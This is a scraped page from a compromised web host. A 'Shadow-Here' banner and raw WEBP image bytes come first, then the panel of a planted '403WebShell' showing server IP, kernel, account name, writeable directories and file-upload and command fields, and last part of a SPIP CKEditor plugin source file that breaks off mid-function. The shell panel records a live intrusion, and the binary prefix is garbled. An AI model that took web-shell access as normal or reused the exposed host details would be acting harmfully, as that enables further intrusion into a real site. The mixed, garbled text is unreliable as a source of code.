....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins/auto/ckeditor/v1.2.6/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/plugins/auto/ckeditor/v1.2.6/inc/ckeditor_tools.php
<?php
include_spip('inc/config') ;
include_spip('inc/texte') ; // nécessaire pour disposer de la fonction 'propre'
include_spip('outils/smileys');
include_spip('inc/ckeditor_lire_config') ;
include_spip('inc/ckeditor_constantes');

$closedtags = $protectedtags = array() ;
global $cke_tags ; $cke_tags = lire_config('ckeditor/tags') ;
if (! is_array($cke_tags)) { $cke_tags = unserialize(_CKE_TAGS_DEF) ; ecrire_config('ckeditor/tags', $cke_tags) ; }
foreach($cke_tags as $tagname => $tagdesc) {
	switch($tagdesc['type']) {
		case 'num-obligatoire': $num = '\\d+' ; break ;
		case 'num-facultatif': $num = '\\d*' ; break ;
		default: $num = '' ; break ;
	}
	$protectedtags[] = $tagname.$num ;
	if (isset($tagdesc['fermante']) && $tagdesc['fermante']) { $protectedtags[] = '\\/'.$tagname ; $closedtags[] = $tagname ; }
}
define( 'PROTECTED_SPIP_TAGS', "(?:".join('|', $protectedtags).")" );unset($protectedtags);
define( 'CLOSED_PROTECTED_SPIP_TAGS', "(?:".join('|', $closedtags).")" );unset($closedtags);

function ckeditor_efface_repertoire($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
	foreach ($files as $file) {
	  (is_dir("$dir/$file")) ? ckeditor_efface_repertoire("$dir/$file") : unlink("$dir/$file");
	}
	return rmdir($dir);
  }

function ckeditor_ecrire_protectedtags($tags=null) {
		if (! is_array($tags)) { $tags = lire_config('ckeditor/tags') ; }
		if (! is_array($tags)) { $tags = unserialize(_CKE_TAGS_DEF) ; }

		$ptags= array() ;
		foreach($tags as $tag => $desc) {
			$ptags[] = $tag . ($desc['type']=='num-obligatoire'?'XX':($desc['type']=='num-facultatif'?'xx':'')) ;
			if (isset($desc['fermante']) && $desc['fermante']) $ptags[] = '/'.$tag ;
		}
		ecrire_config('ckeditor/protectedtags', join(';', $ptags)) ;
}

global $cke_conf_cs ;
if (isset($GLOBALS['meta']['tweaks_actifs'])) {
	$cke_conf_cs = unserialize($GLOBALS['meta']['tweaks_actifs']) ; // pour éviter les unserialize à répétition
} else {
	$cke_conf_cs = array() ;
}

function ckeditor_tweaks_actifs($tweak) { // pour accéder aux outils du couteau suisse
	global $cke_conf_cs ;
	return is_array($cke_conf_cs) && isset($cke_conf_cs[$tweak]) && is_array($cke_conf_cs[$tweak]) && isset($cke_conf_cs[$tweak]['actif']) ;
}

function ckeditor_dump($var, $html = true ) { // pour afficher le contenu d'une variable (pour débuggage)
	ob_start() ;
		var_dump($var);
		$content = ob_get_contents() ;
	ob_end_clean() ;
	if ($html)
		return "<pre>".htmlentities($content)."</pre>" ;
	else
		return $content ;
}

function ckeditor_traite_lien_html($texte, $lien, $avant, $apres) {
	/*
	 * Recuperation d'un eventuel title="whatever"
	 */
	$titre = '';
	$title_regex = "/\s?title=[\"']([^\"']*)[\"']\s?/i";

	if (($avant && preg_match($title_regex, stripslashes($avant), $m)) ||
		($apres && preg_match($title_regex, stripslashes($apres), $m))) {
		$titre = "|".htmlspecialchars_decode(str_replace("\\'",
								 "'", $m[1]),
							 ENT_QUOTES);
		/*
		 * Et si le avant/apres ne contenait que
		 * ca, on purge pour eviter le cas 2 dans
		 * le test qui suit.
		 */
		if ($avant == $m[0])
			$avant = '';

		if ($apres == $m[0])
			$apres = '';
	}

	$texte=preg_replace('~\\\(.)~',"$1",$texte);
	if (preg_match("~spip\.php\?page=(\w+)(?:&amp;amp;|&amp;|&)id_\\1=(\d+)(#\w+)?$~", $lien, $match)) {
		return "[".strip_tags($texte,"<strong><em><i><span><img><sub><sup>").$titre."->".$match[1]." ".$match[2].$match[3]."]" ;
	} else if ($avant || $apres) {
		return "<a ".($avant?stripslashes($avant).' ':'')."href='$lien'".($apres?' '.stripslashes($apres):'').">$texte</a>" ;
	} else {
		return "[".strip_tags($texte,"<strong><em><i><span><img><sub><sup>").$titre."->".$lien."]" ;
	}
}

function ckeditor_traite_img_html($docid, $doctype, $docparam, $avant, $apres) {
	$regex = '~align=(["\'])(\w+)\\1~' ;
	$align = '' ; // par défaut : rien
	if (preg_match($regex, stripslashes($avant), $match) || preg_match($regex, stripslashes($apres), $match)) {
		switch ($match[2]) { // on accepte gauche et droite
			case 'middle':
				$align = '|center';
				break;
			case 'left':
			case 'right':
				$align = '|'.$match[2] ;
				break ;
		}
	}else{
		$regex = '~style=(["\'])(.*?)\\1~' ;
		if (preg_match($regex, stripslashes($avant), $match) || preg_match($regex, stripslashes($apres), $match)) {
			// on a un style
			if (preg_match('~\bfloat\s*:\s*(\w+)\s*;~', $match[2], $match)) {
				switch ($match[1]) {
					case 'left':
					case 'right':
						$align = '|'.$match[1] ;
						break ;
				}
			}
		}
	}
	return "<{$doctype}{$docid}".($docparam?'|'.urldecode($docparam):'').$align.">" ;
}

function ckeditor_traite_img_data($data, $avant, $apres) {
	// gestion des images incorporées dans le html
	$regex = '~^image/([^;]+);base64,(.*)$~' ;
	if (preg_match($regex, stripslashes($data), $match)) {
		if (!is_dir(_DIR_IMG.$match[1])) {
			mkdir(_DIR_IMG.$match[1]) ;
		}
		while (file_exists($filename=_DIR_IMG.$match[1].'/ckeditor-img-'.md5(date('l j F Y, G:i:s.u').rand()).'.'.$match[1])) { srand(); }
		$fh = @fopen($filename, 'w');
		if ($fh) {
			fwrite($fh, base64_decode(preg_replace('~\s~s','',trim($match[2])))) ;
			fclose($fh);
			return '<img '.stripslashes($avant).' src="'.preg_replace("~^https?://[^/]*~",'',url_absolue($filename)).'" '.stripslashes($apres).' />' ; // on retourne l'image sauvegardée
		} else {
			return '' ; // on supprime l'image s'il est impossible de la sauvegarder : on ne sais pas quoi en faire...
		}
	} else {
		return '' ; // on supprime une image non correctement encodée en base64
	}
}

function ckeditor_traite_lien_spip($texte,$lien,$titre = '') {
	if ($titre)
		$titre = sprintf(" title='%s'",
				 htmlspecialchars(str_replace('\\\'', "'",
								  $titre),
						  ENT_QUOTES));

	$texte = preg_replace("~\\\'~","'",$texte);
	if (preg_match("~^(art(?:icle)?|br(?:eve)?|rub(?:rique)?|[a-zA-Z]+)\s*(\d+)\s*(#\w+)?$~", $lien, $match)) {
		switch ($match[1]) {
			case 'rub':
				$type = 'rubrique' ;
				break ;
			case 'art':
				$type = 'article' ;
				break ;
			case 'br':
				$type = 'breve' ;
				break ;
			default:
				$type = $match[1] ;
		}


		return "<a href='"._DIR_RACINE."spip.php?page=$type&amp;id_$type=".$match[2].(isset($match[3]) ? $match[3] : '')."'".$titre.">".$texte."</a>" ;
	} else {
		return "<a href='$lien'$titre>$texte</a>" ;
	}
}

function ckeditor_traite_img_spip($doctype, $docid, $align) {
	static $cache = array() ;
	if (! $row = $cache[$docid]) { // on limite les accès à la db
		$cache[$docid] = $row = sql_fetsel("fichier,largeur,hauteur,extension", "spip_documents", "id_document=$docid");
	}
	switch ($row['extension']) {
		case 'jpg':
		case 'jpeg' :
		case 'gif':
		case 'png':
			if(!preg_match(',^\w+://,',$row['fichier'])) // s'il y a déjà un protocole, il ne faut pas ajouter le chemin vers $dir_img
				$row['fichier'] = url_absolue(_DIR_IMG.$row['fichier']) ;
			break ;
		default:
			$f = charger_fonction('vignette','inc');
						$v = $f($row['extension'], true);
			if ($v[0]) {
				$row['fichier'] = url_absolue($v[0]) ;
				if (!$row['largeur'])
					$row['largeur'] = $v[1] ;
				if (!$row['hauteur'])
					$row['hauteur'] = $v[2] ;
			}
			break ;
	}
	$preview = ckeditor_lire_config('vignette', _CKE_VIGNETTE_DEF) ;
	if ($preview && $row['largeur'] && $row['hauteur']){
		if (($row['largeur'] > $row['hauteur']) && ($row['largeur'] > $preview)) {
			$larg = ' width="'.$preview.'px"' ;
			$haut = sprintf(" height=\"%.0dpx\"",$preview * $row['hauteur'] / $row['largeur']) ;
		} else
		if (($row['largeur'] < $row['hauteur']) && ($row['hauteur'] > $preview))	{
			$haut = ' height="'.$preview.'px"' ;
			$larg = sprintf(" width=\"%.0dpx\"",$preview * $row['largeur'] / $row['hauteur']) ;
		} else {
			$haut = ' height="'.$row['hauteur'].'px"' ;
			$larg = ' width="'.$row['largeur'].'px"' ;
		}
	} else {
		$larg = '' ;
		$haut = '' ;
	}
	$params = preg_split("/\|/", $align) ;
	$align = '' ;
	$docparams = array() ;
	foreach($params as $param) {
		switch ($param) {
			case 'center':
				$align = 'middle' ;
				$center= ' style="display: block; margin-left: auto; margin-right: auto;"' ;
				break ;
			case 'left':
				$center= '' ;
				$align = $param ;
				break ;
			case 'right':
				$center= '' ;
				$align = $param ;
				break ;
			default:
				$docparams[] = $param ;
				break ;
		}
	}
	if (count($docparams)) {
		$docparam='&docparam='.join('%7C', $docparams) ;
	} else {
		$docparam='' ;
	}
	return '<img'.$larg.$haut.' align="'.$align.'" src="'.$row['fichier'].'?docid='.$docid.'&doctype='.$doctype.$docparam.'"'.$center.'/>' ;
}

function ckeditor_wrap_callback($matches) {
	$replace = sprintf("<script type=\"ckeditor_wrap\">%s</script>",
			   urlencode($matches[0]));
	return $replace;
}

function ckeditor_unwrap_callback($matches) {
	$replace = urldecode($matches[1]);
	return $replace;
}


function ckeditor_html2spip_pre_dist($texte) {
	return $texte;
}

function ckeditor_html2spip_post_dist($texte) {
	return $texte;
}

function ckeditor_tag_protect($code,$tag,$params) {
	return "<".stripslashes($tag).stripslashes($params).">".
		preg_replace(
		array(
			/* 1 */ '~<br/?>(\n|\r|\s)*~is',
			/* 2 */ '~(&nbsp;|&#160;)~is'
		),
		array(
			/* 1 */ "\n",
			/* 2 */ ' '
		),
		stripslashes($code)).
		"</".stripslashes($tag).">";
}

function ckeditor_outtag_protect($code,$echappe) {
	return (echappe?preg_replace(
			array(
				/* 1 */ "~(".join('|',array_map('preg_quote',str_split($echappe._CKE_DOUBLE_PONCTUATION))).")~e",
				/* 2 */ "~(\n\r|\r\n|\n|\r)~s",
				/* 3 */ "~[ \t](?!;)~",
				/* 4 */ "~&nbsp;~"
			),
			array(
				/* 1 */ "'&#'.ord('$1').';'",
				/* 2 */ "<br/>",
				/* 3 */ "&#160;", /* espace insécable codé en utf8, &nbsp; semble 'mangé' par le filtre */
				/* 4 */ "&#160;"
			), $code):$code) ;
}

function ckeditor_tag_unprotect($code,$tag,$params) {
	global $cke_tags ;

	$prefix = '<p>' ; $postfix = '</p>' ;

	if (preg_match_all( /* on recherche les tags imbriqués */
		"#&lt;((".CLOSED_PROTECTED_SPIP_TAGS.")-protected)(.*?)&gt;(.*?)&lt;/\\1&gt;#se",
		$stripcode = stripslashes($code), $matches, PREG_OFFSET_CAPTURE)) {
		$len = 0 ;
		$result = $prefix . "&lt;".stripslashes($tag).stripslashes($params)."&gt;" ;
		$cpt = 0 ;
		$pos = 0 ;
		foreach($matches[1] as $key => $match) {
			$cpt++ ;
			$result .= ckeditor_outtag_protect(substr($stripcode,$pos,$matches[0][$key][1]-$pos),$cke_tags[$tag]['echappe_car']).
				ckeditor_tag_unprotect($matches[4][$key][0],$matches[2][$key][0], $matches[3][$key][0]) ;
			$pos = $matches[0][$key][1] + strlen($matches[0][$key][0]) ;
		}
		$result .= ckeditor_outtag_protect(substr($stripcode,$pos),$cke_tags[$tag]['echappe_car']) ;
		return $result."&lt;/".stripslashes($tag)."&gt;" . $postfix ;
	} else {
		return $prefix . "&lt;".stripslashes("$tag").stripslashes($params)."&gt;".stripslashes(ckeditor_outtag_protect($code,$cke_tags[$tag]['echappe_car']))."&lt;/".stripslashes($tag)."&gt;" . $postfix ;
	}
}

function ckeditor_html2spip($texte) {
  $ckeditor_html2spip_pre = charger_fonction('ckeditor_html2spip_pre','');
  $texte = $ckeditor_html2spip_pre($texte);

  $search[] = "~<br/?>(\s|\r|\n)*</li>(\s|\r|\n)*~" ; // fix: https://contrib.spip.net/CKeditor-3-0#forum468504
  $replace[] = function($m) {return "</li>";};

  if (PROTECTED_SPIP_TAGS) {
	$search[] = "#&lt;(".PROTECTED_SPIP_TAGS.".*?)&gt;#s" ;
	$replace[] = function($m) {return "<$m[1]>";};
  }
  if (CLOSED_PROTECTED_SPIP_TAGS) {
	$search[] = "#<(".CLOSED_PROTECTED_SPIP_TAGS.")([^>]*)>(.*?)</\\1>#s" ;
	$replace[] = function($m) {return ckeditor_tag_protect($m[3],$m[1],$m[2]);};
  }

  if (ckeditor_tweaks_actifs('decoupe')) {
	$search[] = "#\s*<div\s*style=\"page-break-after:\s*always\s*;\s*\">.*?</div>\s*#si" ; // saut de page
	if (ckeditor_lire_config("html2spip", _CKE_HTML2SPIP_DEF)) {
	  $replace[] = function($m) {return "\n\n<p>++++</p>\n";};
	} else {
	  $replace[] = function($m) {return "\n\n++++\n\n";};
	}
  }

  $search[] = "#<a\s+([^>]*?)\s*href=(\"|')(.*?)\\2\s*([^>]*?)\s*>(.*?)</a>#si" ; // les liens
  $replace[] = function($m) {return ckeditor_traite_lien_html($m[5],$m[3],$m[1],$m[4]);};

  $search[] = "#<a[^>]+name=(\"|')(.*?)\\1[^>]*></a>#si" ; // les ancres
  $replace[] = function($m) {return "[#$m[2]<-]";};

  $search[] = "#<img\s*([^>]*?)\s*src=\"([^\"]*?)\?docid=(\d+)(?:&amp;|&)doctype=(\w+)(?:(?:&amp;|&)docparam=([^\"]*))?\"\s*([^>]*?)\s*>#si" ; // les images
  $replace[] = function($m) {return ckeditor_traite_img_html($m[3],$m[4],$m[5],$m[1],$m[6]);};

  $search[] = "#<img\s*([^>]*?)\s*src=\"data:([^\"]*?)\"\s*([^>]*?)\s*>#si" ; // les images incorporées/encodées en base64
  $replace[] = function($m) {return ckeditor_traite_img_data($m[2],$m[1],$m[3]);};

  // nettoyage des attribus ajoutés par ckeditor
  $search[] = "#(<\w+\s*[^>]*\b)data-cke-saved-\w+=([\"']).*?\\2([^>]*>)#si" ;
  $replace[] = function($m) {return "$m[1]$m[3]";};

  if (ckeditor_tweaks_actifs('smileys')) {
	$cs_path = preg_split("~/~", _DIR_PLUGIN_COUTEAU_SUISSE) ;
	$search[] = "#<img[^>]+src=\"[^\"]*".$cs_path[count($cs_path)-1]."/img/smileys/[^\"]*\"[^>]+title=\"([^\"]*)\"[^>]+/>#si" ;
	$replace[] = function($m) {return "$m[1]";};
  }

  if (ckeditor_lire_config("spiplinks")) {
	$search[] = "#(\[[^\]]*?-)&gt;([^\]]*?\])#s" ; // les liens spip
	$replace[] = function($m) {return "$m[1]>$m[2]";};

	$search[] = "#(\[.*?)&lt;(-\])#s" ; // les ancres spip
	$replace[] = function($m) {return "$m[1]<$m[2]";};
  }

  $search[] = "#<br/?>(\r|\n|\s)*<(td|caption|tr|tbody|/td|/caption|/tr|/tbody)[^>]*>(\r|\n|\s)*#si" ;
